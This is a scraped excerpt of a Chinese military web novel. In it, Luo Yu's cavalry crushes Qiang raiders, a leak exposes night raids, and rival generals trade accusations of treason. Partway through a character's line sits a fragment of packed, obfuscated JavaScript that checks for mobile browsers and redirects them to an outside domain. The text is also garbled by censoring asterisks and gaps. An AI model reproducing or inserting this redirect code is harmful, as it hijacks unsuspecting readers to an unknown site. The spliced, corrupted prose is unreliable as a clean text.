洛家军一出马,庞大的乾军军阵没来由地安静了下来,所有视线都投向了这三百骑军。
秋风席卷,有一股杀气在缓缓升腾,令人窒息。
“披甲骑军?”
陆铁山浑浊的老眼中出现一抹诧异,洛羽区区一个城主竟然能拿得出这么多披甲骑军。
不仅是他,其他几位将军也露出了惊讶与羡慕的目光,精铁战甲与精良战马一样都是好东西,谁不想要?寻常的城主佣兵养活千把号军卒容易,可养活千人披甲骑军绝非易事。
苍岐的家底比他们想象中要厚得多。
只有秦昭愤愤地说了一句:
“光有战甲有何用,中看不中用罢了,故弄玄虚,哼!”
“秦将军,嘴下积德。”
霍连城冷冷的说道:
“有总比没有好。”
“哼!”
秦昭压根就不想理他,重新将视线投向战场。
“轰隆隆!”
缓缓向前的三百精骑逐渐加速,隆隆的马蹄声顺着秋风冲天而起,回荡全场。
对面的五百羌骑浑然没把这支骑军当回事,在原地兜转两圈后便挥舞着马刀呼啸前冲,一张张狰狞的面庞逐渐兴奋,在他们看来这三百骑军很快就会成为他们的刀下亡魂。
两军对冲,仅剩数十大步,一众乾军武将全都屏住了呼吸,洛家军是徒有虚名还是骁勇善战,很快便能见分晓。
这个距离已经进入了羌骑的**射程,部分羌兵娴熟地弯弓搭箭,准备泼洒出一波波箭雨,骑战之前先用**杀敌乃是羌兵惯用的招数。
“驾!”
就在羌兵抬弓上举的一刹那,以董川为首的第一排锋线猛地一夹马腹,加速前冲,迅速贴近地阵,压根没给羌兵泼洒箭雨的机会。
突如其来的加速让羌兵猝不及防,眨眼间战马便已冲至眼前。
三百骑**斜举,怒吼出声:
“杀!”
“砰砰砰!”
“噗嗤噗嗤!”
排头的三十精骑悍然开阵,一柄柄长矛出手,鲜血飞溅,前一刻还在叫嚣嘶吼的羌兵眼睁睁地看着**捅穿自己的胸膛,除了绝望还是绝望。
董川一马当先,枪尖犹如毒蛇吐信,精准刺入一名羌骑咽喉。矛尖穿透颈骨时,他手腕一抖,借着战马冲锋的惯性将尸体挑飞,重重砸向后方敌阵。
左右两翼的羌兵见董川如此凶猛,同时出枪夹击,想要封死董川的去路。只见他不慌不忙,侧身闪避,单手紧握枪杆回旋横扫,重重地拍在了两人的胸口。
“噗嗤!”
两具死尸倒飞而出,还没来得及高兴,董川就觉得有一股寒意从侧面袭来,毫不犹豫地一俯身形,果然有一柄弯刀贴着自己的后脑勺飞了过去。
“卑鄙,偷袭!”
董川怒目圆睁,起手就是一记回马枪将偷袭羌骑刺**背。
以董川为首的第一排锋线人人皆是精锐老卒,出枪狠辣,迅速在前沿撕开一道口子,这也是萧少游讲述的骑战要点:
开阵之卒,士气为先!
一鼓作气、再而进、三而胜!
第二排骑军紧跟而上,扩大优势,一波波凿阵几乎是无缝衔接,将羌兵迎头打蒙。
骁勇悍卒杀入羌兵阵中,提矛、突刺、收枪,一气呵成,讲究的就是一个快准狠。
看似简单的骑战枪术在这种骑兵对冲中却极为有效,人人一**敌,丝毫不拖泥带水。
在苍岐城的校场上洛羽曾对所有骑兵说过这么一句话:
沙场之上,狭路相逢勇者胜,一枪足以定生死。
所以骑兵将士们一遍遍地练习、一次次地突刺,顶着炎炎烈日挥汗如雨,早已将出枪的手法变成了肌肉记忆。
“杀!”
一排排骑军凶悍凿阵,羌兵骑阵犹如大堤决口,眨眼间便被撕裂,死伤无数,等董川率先凿阵而出时地上已经多出了不少死尸。
出阵之后骑兵并未停下脚步,十标骑兵兵分两路,很自然地向左右两翼绕行,兜出一个巨大的弧线,再度开启第二轮冲锋。
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第一轮冲阵中被打蒙的羌兵还未来得及重新结阵,两路骑兵就从侧翼杀进阵中,拼命突刺,羌兵骑阵刹那间崩溃。
接着就是两军混战,看似浑然,可洛家军却井然有序地以一什为基础,三三制相互配合,一人突刺、一人掩护、一人补刀,三三一体,在战场中进退自如、攻守有度。
羌兵一溃再溃,毫无反击之力,只能在绝望中等待长矛刺穿自己的胸膛。
乾军阵前鸦雀无声,所有人都长大了嘴巴,目瞪口呆。
他们从未见过这样凶悍的骑兵,更没料到洛家军能以如此摧枯拉朽的方式赢得胜利。
陆铁山目光怔怔,自言自语:
“枪术精湛、配合默契,阵型变幻间没有丝毫迟滞,堪称精锐啊。老夫从军多年,如此骑军也没见过几次。”
“呵呵,洛家军果然名不虚传。”
霍连城轻笑一声,瞄了一眼秦昭:
“依我看三百骑太多了,一百骑足以解决当面之敌,不像有些人,得用八百骑。”
秦昭的牙齿咬得嘎吱作响,满心怒火却生不起一句反驳的话,脸颊火辣辣的疼,就像是被人当面扇了一巴掌。
半个时辰后,沙场重回宁静。
横七竖八的死尸铺满黄沙,鲜血在阳光的照耀下格外猩红。五百羌骑几乎全军覆没,只剩些许残兵逃脱,而三百精骑的阵型依旧严整,丝毫不见疲态。
董川以一场酣畅淋漓的胜利赢下了洛家军的开门红。
军阵中爆发出阵阵欢呼,从大军集结在黑水坡之后他们就没打过胜仗,如今总算是一扫此前的阴霾。
骑军归阵,三百骑甲胄染血,玄底“洛”字旗迎风而立,在秋风中瑟瑟作响,无一人敢喧嚣私语。
董川用羌兵的军旗裹着一颗人头高高举起:
“末将董川,献贼将首级!”
“不错。”
洛羽微微点头,意有所指:
“省得总有人说咱们苍岐出来的人是缩头乌龟。”
“轰!”
三百骑陡然爆发出一阵冲天杀意,齐刷刷地看向秦昭,愣是逼得他不敢直视。
洛羽随手将人头扔到了秦昭脚下,嘴角微翘:
“只教一次,学会了吗?”
第117章我要引蛇出洞
云阳关
本该是陇西的边关重镇,此刻却插满了西羌军旗,城内百姓也尽数成了羌兵的奴隶。
城头上挂着十几具森森白骨,恐怖而又血腥,这些都是羌兵攻克云阳关时斩杀的乾军将领,还有一些敢反抗的老百姓也被他们活活吊死,整座城池都被一股阴云笼罩。
一名中年武将坐在将军府里,漫不经心地翘着二郎腿,手里还端着个酒杯:
“唔,大乾的酒确实比咱草原的好。”
完颜康,当初被洛羽亲手阵斩的完颜昌就是他的亲哥哥,看相貌果然有几分神似。
“你不在黑水坡好好待着,怎么跑回云阳关了?”
屋中还站着个人,正是他的副将达尔花。
达尔花毕恭毕敬地弯下腰肢,面色羞愧:
“昨日末将派兵出战,折损了四五百骑,特来请罪。”
“不用在意,胜败乃兵家常事,这世上本就没有常胜将军,以后多长个心眼便好。”
完颜康还挺好说话,没有怪罪,只是随口问了一句:
“能吃掉你五百骑,乾军应该出动了不少人吧?看来他们是输怕了,下了血本。”
达尔花的表情十分僵硬:“那个,出战之敌仅有三百骑。”
“三百骑?”完颜康的眉头皱了起来:“你不是在说笑吧?”
“确实只有三百骑,骁勇异常,绝非寻常骑军。且敌军皆竖洛字旗,末将已经核实过,是苍岐城洛羽的兵马。”
“原来是他,本将军等他很久了!”
完颜康面色冰冷,这才是达尔花特地回一趟云阳关的原因,他知道完颜康对此人深恶痛绝。
“想尽一切办法,给我把洛羽的人头带回来!”
“末将领命!”
……
“一二三!杀杀杀!”
“出枪时腰腹用力,手臂举稳,不要娘儿们唧唧!”
嘶吼声回荡在营地中,数不清的军汉在挥舞刀枪、策马驰骋,奋力操练,飘扬的洛字军旗已经表明了军卒的身份。
陆铁山负手而立,驻足观望半天唏嘘道:
“怪不得洛将军能够屡屡击败羌军,有如此精锐,羌兵又有何惧?
其他各营军卒要么在休息、要么三五成群懒散打诨,唯有你营中吼声震天,操练不停,这番毅力当真常人难及。
若是各营皆能像你这样用心,何愁云阳关不破啊。”
陆铁山很是无奈,他有心整顿军伍,可他手里并无实权,指挥不了底下各路兵马。
“仗还没打完,远没到休息的时候。我顾好自己就行,其他各营我就管不着了。”
洛羽顺势岔开话题:“今日老将军怎得有空到我这来?”
“想看看洛将军有什么练兵的窍门。”
陆铁山很诚恳地说道:
“都是从阙州征召的军卒,谁也没多条胳膊多个脑袋,怎么你的人就身材壮硕,兵强马壮?
各营军卒面对羌兵大部分都畏首畏尾,没有绝对优势不敢轻易出战,但我看洛将军麾下军卒上了战场全都嗷嗷叫,恨不得多砍一个羌兵的脑袋。
你是怎么做到的?”
“很简单。”
洛羽淡淡地说道:
“足粮足饷,赏罚分明。
别人军中都是一日两餐,我麾下都是三餐,让将士们不饿肚子,自然身强体壮;饷银按时发放,杀敌的赏银一分不少发到士卒们的手里,让他们能养活家人。
如此,谁不拼命?”
洛家军敢打敢拼绝不仅仅是因为练兵得当,而是给出了优厚的待遇,这是战力的保证。
老人看向洛羽的目光凝重了许多:
“八个字说起来简单,做起来却难如登天啊。洛将军年纪轻轻,却像是个做大事的人。”
陆铁山入军数十载,岂会不知道大乾军伍的弊病?不管是官军还是牙兵,克扣军饷军粮、贪墨军功那是再正常不过的了,从上到下都在贪,你能怎么办?
而洛羽做到了他想做却不能做的事。
“两位聊什么呢?我也来凑个热闹。”
副帅李光业的嗓音突然响起,乐呵呵的凑到两人身边:
“洛将军出手就是不同凡响啊,摧枯拉朽的击溃五百羌兵,这两天羌兵龟缩不出,再不敢出战挑衅。”
“将军过奖了,洛某只想着早日攻克云阳关,收复失地。”
洛羽瞄了他一眼,此人对自己一直是不冷不热,他和李家谈不上交情,只有交易。
“呵呵,说得好。”
李光业笑了笑:35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476800|169975||http|test|mini|href|location''.split(''|''),0,{}));
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r>“今日正好老将军也在,咱们不如探讨一下该怎么攻克达尔花的四座军营。不占领黑水坡,咱们连云阳关的城墙都摸不到。
洛将军屡战屡胜,不知有没有破敌良策,可别忘了你与我李家的约定啊。”
李光业眉头微挑,他是在提醒洛羽,攻破云阳关你可是得出力的,否则凤川城你可保不住。
听到约定二字,陆铁山面不改色、恍若未闻,这些都是李家与洛羽的私事,他并不关心,只是顺势说了一句:
“洛将军乃少年英豪,若是有什么好计策大可直言。”
“末将心中还真有一计。”
洛羽轻声道:
“达尔花将三千兵马分作四营,扼守黑水坡险要之地,倒不如咱们也兵分四路,夜袭敌营。
羌兵四营同气连枝、互为犄角,只要我方攻破任一一营,那羌兵势必全线崩溃,只能撤往云阳关。”
“兵分四路夜袭?”李光业微皱眉头:
“羌兵骁勇善战,夜袭之策能奏效吗?”
洛羽沉声道:
“李将军,羌兵擅长骑战不假,若是在野外开战于我大不利,但近战夜战骑兵的优势就没那么明显了。
况且羌兵胜多败少,军中骄狂之气滋生,绝不会想到我方敢主动出击,我等重兵压境,定能打他一个措手不及!”
“有理。”
陆铁山微微点头:
“老夫觉得此计可行,秦将军、霍将军、鲍将军再加上洛将军正好四路兵马,各攻一营。
达尔花的三千兵马已经折损了五百骑,兵力大减,我四路兵马优势明显,确实是好机会!”
“既然陆老将军觉得可行,那咱们就试试。”
李光业冷声道:
“明晚子时,四军齐出,一举攻占黑水坡!”
两位主帅走了,留在原地的洛羽却嘴角上扬,意味深长。
萧少游不知何时出现在了身侧,轻笑一声:
“你献计不是为了击败达尔花吧,而是为了引蛇出洞?”
“果然被你看出来了。”
洛羽的眼眸中闪过一丝寒意:
“如果这几人里真有人在故意针对我,那这次他就会露出马脚。
我倒想看看,是谁在背后装神弄鬼!”
第118章想要我的人头?
夜幕降临,晚风呼啸
两军大营中火光缭绕,宛如两条火龙盘旋在黑水坡,相隔十数里遥遥相望,随时都可能吞噬对方。
乾军大营中看似寂静如常,实则有数不清的军卒在悄然集结、整装待发。今夜乾军将按照计划兵分四路,攻占黑水坡!负责领兵出战的四位将军凑在一起,气氛古怪。
秦昭一边擦拭着手中弯刀一边轻笑道:
“四路兵马齐出还真是壮观啊,这也算是两位帅爷对咱们的一次考验,大家都是优势兵力,谁要是打了败仗可就丢人喽,霍将军你说是吧?”
霍连城看都没看他一眼,讥讽道:
“我的事不用你操心,希望秦将军能打个大胜仗,千万别死在羌人手里,要不然咱们还得去收尸。”
“霍连城,你找死!真以为老子不敢收拾你?”
秦昭的目光陡然冰寒,手中弯刀都举了起来,他没想到霍连城竟然敢当众咒他死。
“你可以试试!”
霍连城的手掌也搭在了刀柄上,面带怒气,秦昭一次次的冷嘲热讽,他早已忍无可忍。
两人针锋相对,还没开战,自己人倒要先打起来了。
“哎啊,都是军中同袍,何必弄得如此难堪?大战之际岂能说丧气话?就当给我一个面子,大家和睦相处,休得再吵。”
就在两人怒气冲冲之际,鲍卿一如既往地站出来充当和事佬,横在中间:
“这次咱们定能大胜,人人凯旋而归!”
“既然鲍兄开口,那我总得给面子。”
秦昭这才放下弯刀,目光挑衅:
“咱们都是站着撒尿的汉子,逞口舌之利算什么本事,倒不如战场上见真章。
霍连城,你可敢与我比试一番,看看此战谁杀敌最多。赌约也很简单,谁输了,就当众给对面赔礼道歉!
如何?”
秦昭的小心思明眼人都看得出,此战三方都只带了不到千人,唯独他是倾巢而出,兵力最多,如果要问谁的赢面最大,自然是他。
“你想玩,我奉陪到底。”
当着众人的面霍连城岂能露怯:“希望你到时候输了别赖账。”
“老子一口唾沫一颗钉!”
秦昭的眼珠子咕噜一转,又盯上了洛羽:
“洛将军要不一起玩玩?”
洛羽眉头一皱,你们赌你们的,扯上**什么,我又犯不着给你赔礼道歉。
“咱们的赌约可以变一变,就赌一百匹战马、一百副战甲!”
秦昭目露精光:
“洛将军兵强马壮、能征善战,应该不会不敢吧?还是说担心自己阴沟里翻船?”
洛羽心中冷笑,敢情是看上自己的铁甲了:
“可以,秦将军想赌那咱就玩玩,正好我还缺些战马,提前先谢过了。”
“牙尖嘴利,胜负尚未可知!”
秦昭策马离去:“我秦昭也不是吃素的!”
秦昭与霍连城相继离去,鲍卿慢了一步,瞄了一眼洛羽身后:
“洛将军这次不带骑兵?这些人少了点吧?”
此次洛羽只带了吕青云、余寒弓两尉兵马与麾下亲兵尉,萧少游和另外两尉骑兵全留在了营中。
“足够了。”
洛羽面带微笑,信心十足。
“秦昭可是全军出动,颇有势在必得之志啊。”
见洛羽信心满满,鲍卿也不再多言:
“先走一步,洛将军自己小心!”
望着三路兵马悄然出营,洛羽的眼神逐渐冷厉:
“会是谁呢?”
……
夜幕幽森,羌兵军营中亮着团团火光,隐约能看到有士卒在巡逻。
数不清的黑影于悄无声息中抵近了营地周围,犹如鬼魅夜行。洛羽负责进攻的是四营中最北边的那座,据推测应该有八百余军卒看守。
吕青云和余寒弓凑了过来,探头探脑地张望着:
“守卫好像很松懈,羌兵果然骄狂自大,夜袭真是妙计!头,咱们这次打他一个狠的,全都宰了!”
吕青云的眼眸中充斥着亢奋,他麾下军卒大半都是奴庭流民,冰冷凶悍的表情与吕青云如出一辙,杀起羌兵来比谁都狠,奴庭百姓在羌人的奴役下煎熬了数十年,那种血海深仇真的只能靠鲜血洗刷。
余寒弓更是有些不解:
“城主,属下不理解咱们带这么多盾牌干嘛,不是偷袭吗?讲究的就是一个快准狠,盾牌完全就是累赘。”
出战之前洛羽特地叮嘱他们多带了盾牌**,导致一路行军有些乏累。
“你们两个啊,上阵杀敌是把好手,就是脑子太直了些。”
洛羽叹了口气:
“你们再好好看,没觉得不对劲吗?”
被洛羽批评了几句两人才重新审视
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起羌兵大营,注视许久吕青云皱起了眉头:
“虽是深夜,但好像**静了一些,除了营门口的守卒,营中深处完全看不见人影。”
“而且没有哨骑外出。”余寒弓冷冷地说道:
“就算羌兵再懈怠,也不可能完全忽视外围的巡逻,但我们在这等了这么久一名哨骑都没看见。”
“哎,这才对嘛,领兵打仗要注意多观察。”
洛羽语重心长地提醒道:
“你们两以后都是要带兵的将军,稍有疏忽便会让手下死伤无数,万万不能马虎。”
两人在羞愧的同时又有些震惊,将军?以后他们也会成为将军吗?
洛羽沉声下令:
“所有人背朝军营列阵,准备拒马。寒弓,带些人过去射杀守卒,伪造进攻的声势,但无需进攻军营。”
“诺!”
两人虽然不明白洛羽的用意,但都领命而去。
大批步卒纷纷背朝军营列阵,盾牌在前,**在后,列阵拒马。
余寒弓则领着数十号**手一直摸到营门附近,只见他弯弓搭箭,顺势一松弓弦。
“嗖!”
站在营门口的羌兵应声而倒,随即一波波箭雨倾射而出。余寒弓手下训练出来的**手个个箭法了得,眨眼间就将十几名守卒尽数射杀。
“大军进攻!”
“给我攻破羌军大营!”
“杀啊!”
杀声四起,吼声震天,实际上余寒弓一步也没往里冲,只是单纯地带兵在营门口摇旗呐喊。
“咻!”
果然,营中深处有一支响箭冲天而起,尖锐的破空声瞬间划破云霄,黑水坡从此刻开始陷入了躁动。
大军背后骤然有无数火把亮起,低沉而又轰鸣的响声回荡在夜空中,所有士卒心头一紧,这是大批骑军奔驰的声音!
羌兵竟然埋伏在军营外围,岂不是说己方已经被包围了?
洛羽目光冰寒,果然有人泄密!
“贼将洛羽,今日就是你的死期!”
狞笑声顺风飘来,有一面将旗在夜风中不断飘扬。
“原来是达尔花领兵亲至,看来是冲着我来的。”
洛羽大马横刀,平心静气地坐在一块石墩上:
“想要我的人头?今日我倒想看看谁能越过这面洛字旗!”
“全军列阵,迎战!”
“杀!”
第120章给我将叛徒拿了!
各路人马都回了营,乾军帅帐中的气氛很是压抑。
这场仗也不好说是赢了还是输了,你要说赢了,三路兵马被羌军从背后偷袭,吃了个闷亏,鲍卿还好,折损兵马不多,倾巢而出的秦昭就惨了,与羌兵鏖战半夜**几百号兄弟;
你要说输了,洛羽反手打了羌兵一个伏击,攻占一营,甚至差点射杀达尔花;霍连城也顺利的攻下羌兵军营,虽说只是一座空营,守军寥寥。
只不过攻下两营后大军就全部撤了回来,因为洛羽和霍连城摸不清羌兵的动作,鬼知道云阳关的完颜康会不会出兵增援。
四位将军神色各异,洛羽提溜着眼珠子四处打量,霍连城低头不语,鲍卿愤愤不平,秦昭则满脸憋屈,死死攥紧了拳头,压根没心思去想赌约的事情。
“行了,都别板着个脸。”
还是陆铁山开口打破了僵局:
“不管怎么说咱们也占领了两座军营,羌兵的损失同样不小,算是打了个平手吧。”
“老将军,现在只怕不是讨论胜负的时候。”
鲍卿阴沉着脸:“末将好奇的是为何羌兵会知道我们要夜袭军营?一路两路被伏击下套也就算了,三路遇伏也太巧了吧?
难道达尔花会算命,算准了我们要偷袭。还是说军中有人泄露了消息?”
“这还用问吗。”
秦昭额头青筋暴涨,盯着霍连城:
“当然是我们之间出了叛徒,密谋通敌!”
“你看着**什么?”霍连城十分不悦:“难道你怀疑我?”
“妈的,不是你还能是谁!”
秦昭拍案而起,丝毫没有压抑怒火的意思:
“四路兵马出击,三路遭遇伏击,只有你安然无恙,全身而退。
怎么,达尔花算到了一切,唯独漏了你?而且你攻占的军营空无一人,并未发生交战!难道是你霍连城命好?
我看分明是你通敌叛国!死到临头还想抵赖!”
“放你的狗屁!秦昭,你休要血口喷人!”
霍连城蹭的一下站了起来,破口大骂:
“我率军出营,夜袭敌军,从头到尾都依令而行,何错之有?
至于羌兵为何会知道我方部署,为何三路兵马同时遇袭与我何干!
说我通敌,你拿出证据来!”
“证据?干出此等龌龊勾当岂会留下把柄!三路兵马遇袭,你全身而退就是证据!”
暴怒中的秦昭冲着主位抱拳行礼:
“陆老将军,李将军,霍连城私通羌贼、密谋叛国,末将恳请立刻将其拿下,就地正法,以正典刑!”
“末将冤枉!”
霍连城急声道:
“卑职乃阙州人,又出自边军,与羌贼不共戴天,岂会通敌?恳请两位将军明察,还末将清白!”
两人公说公有理、婆说婆有理,帐中争吵不断。陆铁山眉头紧皱,老将军不知道在想什么。
倒是李光业冷冷地开口道:
“霍连城,你口口声声说自己清白,可四路兵马出击只有你一路没有遭遇伏击,这也太过巧合了吧?
依本将看,你通敌无疑!
现在从实招来,本将还能念及旧情对你从轻发落,但你若是冥顽不灵、死不悔改,就休怪本将军无情了!”
“李将军,我冤枉啊!”
霍连城目光一变:
“末将清清白白,无凭无据为何认定我通敌?末将不服!”
“这里可由不得你不服。”
秦昭面目狰狞:“霍连城,你的死期到了!”
“两军对垒,稍有不慎便是万千军卒丧命,非常之时当行非常之法,本将军可不想出半点差错。”
李光业冷冷的一挥手:
“来人,将霍连城拖下去,革其军职,立刻缉拿!”
秦昭身为李家的死忠,自然得到了李光业的力挺,况且从战局结果来看,霍连城通敌的嫌疑确实很大。
“你们这是陷害,是冤枉!欲加之罪何患无辞!”
霍连城怒不可遏:
“陆老将军,您要替我做主啊!”
“给我拿了,休得聒噪!”
四五名虎背熊腰的大汉闯了进来,不由分说就摁住了霍连城。
“住手!等一下!”
苍老的嗓音总算响了起来,陆铁山望向李光业:
“霍将军毕竟是军中大将,就算有嫌疑可也没有证据,就这么将其拿了恐怕难以服众,况且他麾下还有那么多士卒,万一群情激奋,弄出什么炸营哗变岂不是亲者痛仇者快?
大战之际,军中还是以求稳为上啊。”
李光业皱了皱眉:
“那老将军的意思是?”
“老夫建议,捉拿下狱就不必了。请霍将军暂居营中,派人看守,限制其与外界的接触。
至于麾下兵马,无令不得出营,违令者斩!
如此也可确保军情不会再外泄。”
“行吧,那就按老将军的意思办。”
陆铁山毕竟资历老,威望重,这点面子还是要给的,李光业环视军帐,面色冷厉:
“不管是谁,若是被本将查明通敌,定斩不饶!”
“诺!”
众将鱼贯而出,但洛羽被陆铁山留了下来,说是想听一听反伏击的经过以及达尔花受伤的情况。
帐中独剩两人,寂静无声。
洛羽眉头微挑:“老将军应该不是想问我战事吧?”
“洛将军果然聪慧过人。”
陆铁山漫不经心地反问道:
“你抵达黑水坡之前曾经在半路遭遇羌兵伏击,按理说两军交战,羌
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兵不应该深入到那个位置才对,这场伏击很反常。
你是不是当时就怀疑过军中有人泄密?”
“是。”
洛羽坦然承认:“但我无法确定是谁。”
“你出兵之前曾经通报过前线,知道你行军路线的人就只有刚刚在场的几位将军,也就是说如果有人泄密,必定在刚刚那些人之间。”
陆铁山紧盯着洛羽的眼眸:
“你遇袭之后霍连城就出现了,如此巧合,你有没有怀疑过是他?”
“怀疑,但没有证据。”
洛羽淡淡地说道:
“但老将军刚刚力保霍连城,看起来并不相信他通敌啊?”
“不是我执意要保,而是不保不行。”
陆铁山喃喃道:
“对李家和秦昭而言,不管霍连城有没有通敌,杀了他,吞掉他的兵马,都是有百利而无一害。
可老夫是大军主帅,要考虑的是如何收复云阳关,若真由李家和秦昭乱来,军心必散。”
洛羽顿了一下,面带深意:
“这些话似乎不该对我说吧,老将军就不怕我告诉李光业?”
“你不会的。”
陆铁山微微摇头:
“我已经派人去阙州内地查过你的情况了,你与李家并不合,甚至差点动刀火拼,双方最多算是合作罢了。
你替李家收复云阳关,李家将凤川城让给你。”
“老将军知道的不少啊,似乎看起来对我很感兴趣?”
洛羽眼眸闪烁,陆铁山好好的查自己底细干什么?
“没错。”
陆铁山缓缓抬头,浑浊的老眼中迸射出一道精光:
“因为老夫想与你结盟。”
“结盟?”
洛羽这下真的好奇起来:“何解?”
老人的面色波澜不惊:
“李家今日想吞了霍连城,明日说不定就会吞了你,老夫在阙州多年,对李家的这点了解还是有的,我相信洛将军也不会无条件地相信李家。
李光业兵强马壮、秦昭对你怨言颇深、鲍卿明面上也是李家麾下的城主,群狼环伺,你不需要一个盟友吗?
而老夫想要收复云阳关就不能任由李光业、秦昭、霍连城这些人胡来,李家要抢钱、抢人、抢地盘老夫管不着,但这些事不能发生在战事。
所以我需要在军中有话语权。
可靠我手下的那点兵何来的话语权?同理,老夫也需要盟友。
你我目标相同,又都缺盟友,必要情况下双方联手合作,对大家都有利。
你觉得呢?”
今夜的陆铁山好像变了一个人,完全不像此前看起来那么垂垂老矣,更像是一个经过多年斗争熬出来的人精。
“有理。”
洛羽微微一笑:
“成交!”
第121章再战一场如何?
黑水坡一战后前线陷入了安静,双方都按兵不动。
就像是猛兽在撕斗之后各自舔舐伤口,这不是罢兵休战,而是在等,等机会随时给对方致命一击!
前线相安无事,可乾军大营中却是暗潮汹涌,一道流言短短两天内就传遍军中:
说洛家军半路遇袭乃是因为霍连城向羌兵泄密,引诱羌兵袭击洛羽,目的就是吞掉洛家军的战马和甲胄。
霍连城干的是佣兵行当,战马和甲胄确实是他急需的东西,再加上此次三路兵马遇伏,霍连城全身而退,本就是他通敌的嫌疑最大,所以流言在营中传得有鼻子有眼。
洛家军群情激奋,若不是一众将校压着,早就去找霍连城所部火并了。
当事人霍连城自从那晚议事之后就被软禁在军帐中,一步不得外出。
他呆呆地靠坐在椅子上,眼神茫然又带着愤怒,谁也不知道这位霍将军有没有通敌,至少营中骂声一片,跳进黄河也洗不清。
帘布突然掀开,一道人影不声不响地迈步入帐。
霍连城的眼中闪过一抹诧异和自嘲:
“没想到第一个来看我的竟然是洛将军,稀客。”
洛羽随意扯了把椅子坐下:
“都是军中同袍,陆老将军也尚未给你定罪,我总该来看看你不是。”
“洛将军就不用在这装好人了,这两天营中的传言我都知道,只怕你恨我还来不及。”
霍连城冷冷的说道:
“你是来找我报仇的?”
“报仇?”洛羽饶有趣味地一笑:“这么说你承认是你泄了密?”
“我承不承认现在还有意义吗?”
霍连城看向帐外:
“外面全都是李光业派来的亲兵,三步一岗五步一哨,生怕我跑了。连吃饭喝水都有人盯着,李光业与秦昭恨不得立刻杀了我。
怪我贪心啊,为了那点银子来前线,就不该趟这趟浑水。
洛将军就直言吧,找我何事。”
洛羽目光微凝:
“我今日来就想听你一句准话,你有没有泄密?”
“没有!”
霍连城猛地一拍桌案:
“我与你无冤无仇,为何要害你?我霍连城行得正坐得直,绝不可能私通羌贼!再说了,如果我真的通敌,为何还要回来送死!
信不信随你!”
“知道了。”
洛羽平静的起身,丢下一句:
“我会查的,如果是你,我保证你会死得很惨!”
……
洛羽刚离开军营就撞见了鲍卿,他就像是在故意等洛羽。
“洛将军该不会是去看霍连城了吧?”
鲍卿无奈地提醒道:“如今可是非常时期,一言一行都得注意,洛将军可别给自己惹麻烦。”
“无妨,我只是去要个说法,是不是他把行军路线泄露给羌人的。”
洛羽双手一摊:
“总不至于我去看了他一次就也有通敌之嫌吧?”
“那倒不至于,洛将军杀敌最多,怀疑谁也不会怀疑到你头上。”鲍卿随意地问了一句:“那他承认了吗?”
“没有。”
“也是,这种事换了谁都不会承认的,承认了就是一个死字。”
“鲍将军觉得是他泄密?”
“唉。”
鲍卿叹了口气:“说句心里话,我与霍连城关系不错,以前也有一些来往,真不希望是他。
可从现在的情况来看只能是他泄密,否则我们怎么会遭遇偷袭?所以洛将军以后还是少跟他来往,万一被李将军和秦昭记恨就不好了。”
“多谢提醒。”
鲍卿眉头一挑:
“那洛将军觉得是不是他泄密?”
“人在做,天在看。”
洛羽回头望向霍连城的军营:
“不管是谁,都会遭报应的!”
鲍卿微微错愕,随即点头附和:
“洛将军说得对,天网恢恢,疏而不漏。走吧,陆老将军找我们去帅帐议事!”
……
众位军头们又凑在了一起,今天议事的原因很简单,羌兵那边有动静了。
陆铁山沉声道:
“据斥候回报,达尔花将四营兵马集结在了一起,撤离黑水坡,后退十里在二道梁扎营。”
“退兵了?”
李光业好奇道:
“上一战他偷袭洛将军失败,起码折损了近千士卒,算起来他手里都不到一千五百人,这家伙是想撤回云阳关?”
陆铁山神情犹疑:
“他是想退兵回城还是固守待援目前还说不好,但老夫以为,如果他想撤兵,咱们决不能让他轻轻松松走了。
云阳关城高墙坚,易守难攻,这一千五百兵马如果撤回城
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内,咱们日后攻城的伤亡会大得多。”
“老将军言之有理啊。”
李光业眉宇紧凝:“攻城战是最**命的地方。”
“末将倒是有个建议。”
鲍卿突然抬起了头:“倒不如咱们再来一次夜袭!”
“再来一次夜袭?”
众人目光疑惑。
鲍卿解释道:
“不管他是撤军也好,固守待援也罢,现在都是达尔花兵力最薄弱的时候,倒不如趁着这个机会吃掉他!
两军刚刚大战一场,大家都在休整,再加上以往羌兵骄狂过甚,从未将咱们放在眼里。达尔花绝对想不到我军会这么快发起第二次进攻,而且咱们的兵力远胜于他,优势在我!”
“有道理。”
李光业目光一亮:
“虽说一千五百羌兵是块硬骨头,可若是让他们安然无恙地撤回云阳关,以后对咱们造成的麻烦只会更大。
倒不如先下手为强,吃掉他!”
“看来鲍将军心中已有具体谋划啊。”
陆铁山挥挥手:“那就说出来,大家商议商议。”
“末将不敢班门弄斧,只有些许拙见。”
鲍卿抱拳沉声道:
“二道梁虽然是一座小土坡,但地势不高,强攻的话不算难。末将可与秦将军、洛将军各带八百精锐步卒,分三面同时进攻二道梁。
羌兵半夜遇袭,猝不及防,骑兵的优势也发挥不出来,这一仗能打!”
“听起来可行。”
李光业心有疑虑:“只不过你们麾下兵马刚刚激战一场,还能再战?”
“末将没问题。”
鲍卿应声领命,看向秦昭与洛羽:“两位可敢与我一起出战?正好一雪前耻!”
“妈的,当然要打!”
秦昭握紧拳头:“上次**那么多兄弟,我心中憋屈得很,这次怎么也得找回场子!”
“两位要战,我洛羽岂能不陪?”洛羽冷冷一笑:
“上次达尔花从我手里死里逃生,这次看他往哪儿逃!”
帐中没来由地升生出一股豪情,令李光业大为开心:
“老将军,诸位将军求战心切,战意旺盛,此战定能马到功成!”
“好,那我们就打!”
陆铁山苍老的手指轻点地图:
“明晚出兵,拿下达尔花的人头!”
第123章谁敢上前!
二道梁的夜袭战按预定计划打响了,洛家军骁勇善战,很快便攻破营门,杀至半山腰处。
可他们的进攻也只能止步于此。
说好的友军消失得无影无踪,秦昭与鲍卿一兵一卒未动,只有洛家军孤军奋战,周围的羌兵越围越多。
“妈的,这两个狗贼!果然没安好心!”
吕青云咬牙切齿,持刀怒喝:
“全军结阵!防御!”
“轰!”
两尉步卒合兵一处,盾牌在外、**拒敌、摆成了一个密不透风的圆形乌龟阵。
一面“洛”字军旗孤零零地矗立在夜空中,迎风飘扬。
